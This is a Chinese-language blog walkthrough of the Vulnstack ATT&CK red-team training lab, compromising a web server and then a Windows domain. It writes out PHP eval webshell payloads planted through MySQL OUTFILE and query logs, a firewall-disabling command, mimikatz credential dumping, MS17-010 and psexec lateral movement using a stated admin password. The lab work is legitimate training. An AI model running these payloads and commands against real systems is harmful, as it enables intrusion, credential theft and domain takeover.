ATK&CK紅隊評估實戰靶場 (一)的搭建和模擬攻擊過程全過程

九~月發表於2021-05-09

介紹及環境搭建

靶機地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2
官方靶機說明:
紅隊實戰系列,主要以真實企業環境為例項搭建一系列靶場,通過練習、視訊教程、部落格三位一體學習。另外本次實戰完全模擬 ATT&CK 攻擊鏈路進行搭建,開成完整閉環。後續也會搭建真實 APT 實戰環境,從實戰中成長。虛擬機器所有統一密碼:hongrisec@2019

配置網路,網路配置如下:

可以選擇kali主機和web伺服器(WIN7)直接開啟NAT,但是也用不到,除非CS搭建在了自己的VPS上。我就是搭建在自己的VPS上,所以web伺服器和kali主機是可以開啟NAT訪問外網的;

網路架構:

虛擬機器環境:

kali(攻擊機)以及三臺伺服器的配置:

開機這樣:

需要先開啟phpstudy:

注意win7的雙網路卡設定,並ping內網

win7雙網路卡,並且都可以ping通kali主機,且注意可以ping通內網,因為正常情況下DMZ區可以訪問外網;

滲透web伺服器流程

先發現主機:netdiscover -i eth0 -r 192.168.52.0/24
發現143主機之後,對其進行埠探測:
nmap -T4 -A -v -Pn IP

最常用的一種掃描

T4 設定時序,越高掃描越快
A 啟用作業系統檢測,版本檢測,指令碼掃描和跟蹤路由
v 增加詳細級別(使用-vv或更高階別以獲得更好的效果)
Pn 無ping掃描

開放了80,3306這兩個重要的埠
訪問80埠,看到絕對路徑,這個可是對後期滲透很有用的

** 絕對路徑 C:/phpStudy/WWW
最下面檢測mysql連線:root,root可以連線**

埠檢測完成,到掃描目錄步驟:
常規掃描只有phpmyadmin,這個字典不太行,直接用御劍的;

訪問beifen.rar將檔案下載,檢視

robots.txt檔案顯示yxcms,訪問

前臺洩露了賬號,密碼,登入後發現有如下重要功能

可以嘗試SQL寫入shell,上傳shell

首頁的留言本可以實現儲存型xss,盜取管理員cookie,誘導點選連結等。

檢視此處的前臺模板,可以自己新增模板,因為有原始碼備份檔案,去查詢default檔案位置

可以確定寫入模板位置位於:
192.168.52.143/yxcms/protected/apps/default/view/default/dudu.php

寫入之後拿蟻劍連線

直接上傳寫shell,可以連線

這裡我打算嘗試一波目錄遍歷寫入shell,不知是否可行

此處我上傳成功了,並且蟻劍連線成功。但是前臺沒有顯示../../../../../dudu2.php

此處的碎片刪除介面,可以進行dnslog帶外注入


具體分析檢視:https://www.freebuf.com/column/162886.html

之前的phpmyadmin可以登入,嘗試SQL寫入shell

嘗試執行SQL語句寫入shell,寫入shell的幾個條件:

資料庫此刻為root許可權或者擁有File許可權
知道網站絕對路徑
PHP的GPC引數為關閉狀態
Mysql中的secure_file_priv引數不能為Null狀態

secure-file-priv特性:

secure-file-priv引數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄
當secure_file_priv的值為null ,表示限制mysql 不允許匯入|匯出
當secure_file_priv的值為/tmp/ ,表示限制mysql 的匯入|匯出只能發生在/tmp/目錄下
當secure_file_priv的值沒有具體值時,表示不對mysql 的匯入|匯出做限制
            可以在mysql-ini檔案中設定其屬性

這裡值是NULL,直接into outfile寫不了shell

如果想通過into寫入檔案,修改value的值: windows下修改配置檔案:mysql.ini linux修改配置檔案:my.cnf select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'# select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'# 區別在於使用outfile時,檔案中一行的末尾會自動換行

這裡直接寫shell不行,可以在SQL中開啟日誌記錄,因為phpmyadmin洩露了絕對路徑,然後指定位置寫入shell
這裡開啟全域性日誌記錄:

檢視當前的日誌記錄:

指定日誌檔案存放於哪個目錄,方便連線操作

寫入shell,連線密碼dudu3

蟻劍去連線:
剛開始去連線,沒連上,以為SQL命令不合適,重複執行了一遍;
又去phpstudy檢視效果,在www目錄下,我連線是寫的cms目錄下,人傻了

還有一種方法利用慢日誌寫shell

一般都是通過long_query_time選項來設定這個時間值的,時間以秒為單位,可以精確到微妙。如果查詢時間
超過了這個時間值,這個查詢語句將會被記錄到慢查詢日誌中;

檢視伺服器預設時間值方式:
show global variables like '%long_query_time%';
開啟慢查詢(關閉引數為0):
set global slow_query_log=1;
檢視結果:
show global variables like '%slow%';   # 是否slow_query_log為ON
修改slow_query_log_file日誌檔案的絕對路徑和檔名
set global slow_query_log_file='c:\\phpstudy\\www\\yxcms\\dudu4.php';
最後進行查詢:
SELECT'<?php eval($_POST[dudu4]);?>' OR SLEEP(11);

image
image
image
image

執行最後一條語句需要注意:一般$_POST['']裡面的內容會加引號,這裡寫入時不能加引號,否則語句執行不成功
image

去蟻劍連線就行,密碼dudu4
image
image
前滲透基本結束,4種拿shell方式;

後滲透流程

我本來想直接利用公網VPS的CS伺服器,在自己本機實現上線,但是還要牽扯代理,隧道諸多複雜事項,這個
靶機的初衷是web伺服器置於外網,這樣屬於多層網路架構,可能無法拿下。只能利用kali主機的MSF,然後將CS
伺服器起到ubuntu,然後win7電腦客戶端實現上線;

image

然後給unbuntu和win7安裝CS伺服器和客戶端,,,過程省略。。。
CS伺服器
image
CS客戶端
image
然後選擇監聽器唄,用蟻劍上傳CS生成的木馬
image
這裡生成木馬,拿蟻劍連線最好先去蟻劍關閉防火牆;
蟻劍終端執行:netsh advfirewall set allprofiles state off
image
image

一直不上線,,,兩邊的防火牆也都關了
搞了好久,發現是監聽器設定錯了,沒有設定為自己伺服器的地址,設定CS客戶端的地址;
蟻劍執行上傳的exe就行,防火牆之前關閉了,這裡執行完就能上線主機

image

後滲透正式開始

先將這臺主機的sleep設定為0,因為是靶機,正常環境不能太快;
對這臺主機進行資訊收集;

image
image
這裡仔細分析一下,224為外網段,52為內網段,win環境中,DNS伺服器一般是和DC繫結的,之前部署時需要繫結設定;所以52.138初步判斷為域控的ip地址,繼續資訊收集;
image
image

對主機基本資訊收集

查詢作業系統及軟體資訊
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系統
systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本" #中文系統
 檢視系統體系結構
echo %PROCESSOR_ARCHITECTURE% 
PowerShell收集軟體的版本資訊
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version" 
檢視當前許可權
whoami && whoami /priv
查詢本機服務資訊
wmic service list brief
檢視安裝的軟體的版本、路徑等
wmic product get name, version 
查詢程式資訊
wmic process list brief
檢視啟動程式資訊
wmic startup get command,caption

image
image
然後檢視一下是否存在常見的防毒軟體程式,,,
image
image
命令很多,寫個筆記,用的時候順著往下敲,就知道了
這裡就去定位域了,之前已經初步判斷了存在域
前面判斷了存在域,且DNS域名為god.org
image
然後我判斷域使用者角色和時間定位域的時候,出現錯誤提示5,這種情況說明此賬戶不是域使用者,許可權不夠;(此處花費我很久時間去排查原因,最後發現是NAT網路原因,nslookup域名的時候也會出到外網,最後重新設定了一下win7主機的網路卡才行)

然後檢視主域資訊以及時間伺服器;
image

systeminfo檢視了所在域環境和補丁情況
image

查詢當前的登入域與使用者資訊
image

這個時候域資訊基本清楚,就得定位域控了;因為之前發現ipconfig/all發現了dns伺服器地址,就不在nslookup去解析了
image

檢視域內的使用者
image

獲取域內使用者的詳細資訊:wmic useraccount get /all
image

檢視所有域成員計算機列表:net group "domain computers" /domain
image

檢視域管理員的使用者組:net group "domain admins" /domain
image

查詢域系統管理員使用者組:net group "Enterprise admins" /domain
image

檢視域控制器:net group "domain controllers" /domain
image

獲取域密碼資訊:net accounts /domain
image

基本域資訊探測完畢,初步對域內主機賬戶有了初步瞭解,接下來就是提權,橫向;

方法一:
·這裡可以將MSF生成的馬用蟻劍上傳至WIN7伺服器,而後執行
·反彈個shell給MSF(如果是powershell執行記得,修改策略,set-execut ionpolicy unrestricted)
·之前收集過systeminfo,這裡使用第三方工具Windows-Exploit-Suggester去檢測可以用漏洞;
(下載地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester)
·在win7上systeminfo>win7.txt生成,而後去kali中利用
·存在MS16-014,MSF進行提權,nt authrity\system
·在win7主機上配置靜態路由,run autoroute -s 192.168.52.0/24
·MSF自帶掃描埠模組,auxiliary/scanner/portscan/tcp set rhosts(掃描的主機) 掃描的埠(80,445,3389)
·使用ms17-010 comand模組進行執行命令
·這裡把shell反彈給cs,cs直接上線system許可權,無需提權
·抓Hash密碼,再掃描內網段
·新增SMB會話,psexec拿域控的shell
·beacon開啟3389之後,就回到kali裡面配置socks4a的代理,vi etc/proxychains.conf 新增socks4 x.x.x.x(MSF地址)port                
·proxychains nc -v DCip 3389   proxychains redesktop DCip 3389 至此MSF結合CS,拿下整個域控過程完結

方法二:
獲取了一個CS的beacon後可以目標內網情況和埠開放:
在beacon上右鍵->目標->選擇net view或者port scan:

image

執行後在Targets選項卡看到掃描的主機:
image

這個時候去用CS的hashdump去讀記憶體密碼,用mimakatz讀登錄檔密碼:logonpasswords
許可權不夠可以先去提權,外掛Elevatekit

image

抓取密碼後探測內網其他主機:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
這條命令是不需要進行免殺的,是系統命令

image

這裡還有k8大神的工具ladon,內容豐富,掃描快

主要介紹SMB beacon,CS派生SMB beacon
SMB beacon通過命名管道通過父級Beacon進行通訊,當兩個Beacons連結後,子beacon從父beacon獲取到任務併傳送。因為連結的Beacons使用windows命名管道進行通訊,此流量封裝於SMB協議中,所以SMB beacon相對隱蔽,繞過防火牆會有奇效

第一種是在已經有的beacon上建立監聽,用來作為跳板內網穿透,前提是通過shell訪問其他內網主機,也就是獲取DC的方法一

第二種就是直接派生一個孩子,目的為了進一步盜取內網主機的hash
新建一個listener,payload設定為Beacon SMB:

image

在已有的beacon上右鍵spawn生成會話,進行派生
選擇建立的smb beacon的listener:選擇後會反彈一個子會話,在external的ip後面會有一個連線圖示

image

image

派生的SMB當前沒有連線,可以在主beacon上連線它 link host

psexec使用憑證來登入其他主機
橫向已經探測到了獲取內網的其他Targets以及讀取到的憑證資訊
可以利用psexec模組登入其他主機

右鍵選擇非域控主機(OWA)的psexec模組:
選擇後,結果圖

image

image
分別執行了
rev2self
make_token GOD.ORG\Administrator hongrisec@2021
jump psexec OWA SMB
最後依次得到了三臺內網主機的system許可權,圖示試圖:
image

這裡還可以使用Token竊取
image

竊取token,然後再psexec,選擇使用token
image

基本整個靶場就結束了,耗時三天;大概邊做邊記錄了,排版什麼的也沒有注意,內網這塊兒還是比較菜的,參考了很多文章,才磕磕碰碰結束
7月份就去實習了,投的北京的四家崗位,某宇沒有面試過,還有一個甲方面過了但是因為學校7月離校,遺憾的通知我說已經沒有編制了,不過也好在拿到了心儀公司的實習offer,因為明年畢業,5輪面試的是春招崗位,但是隻能拿實習的offer了

相關文章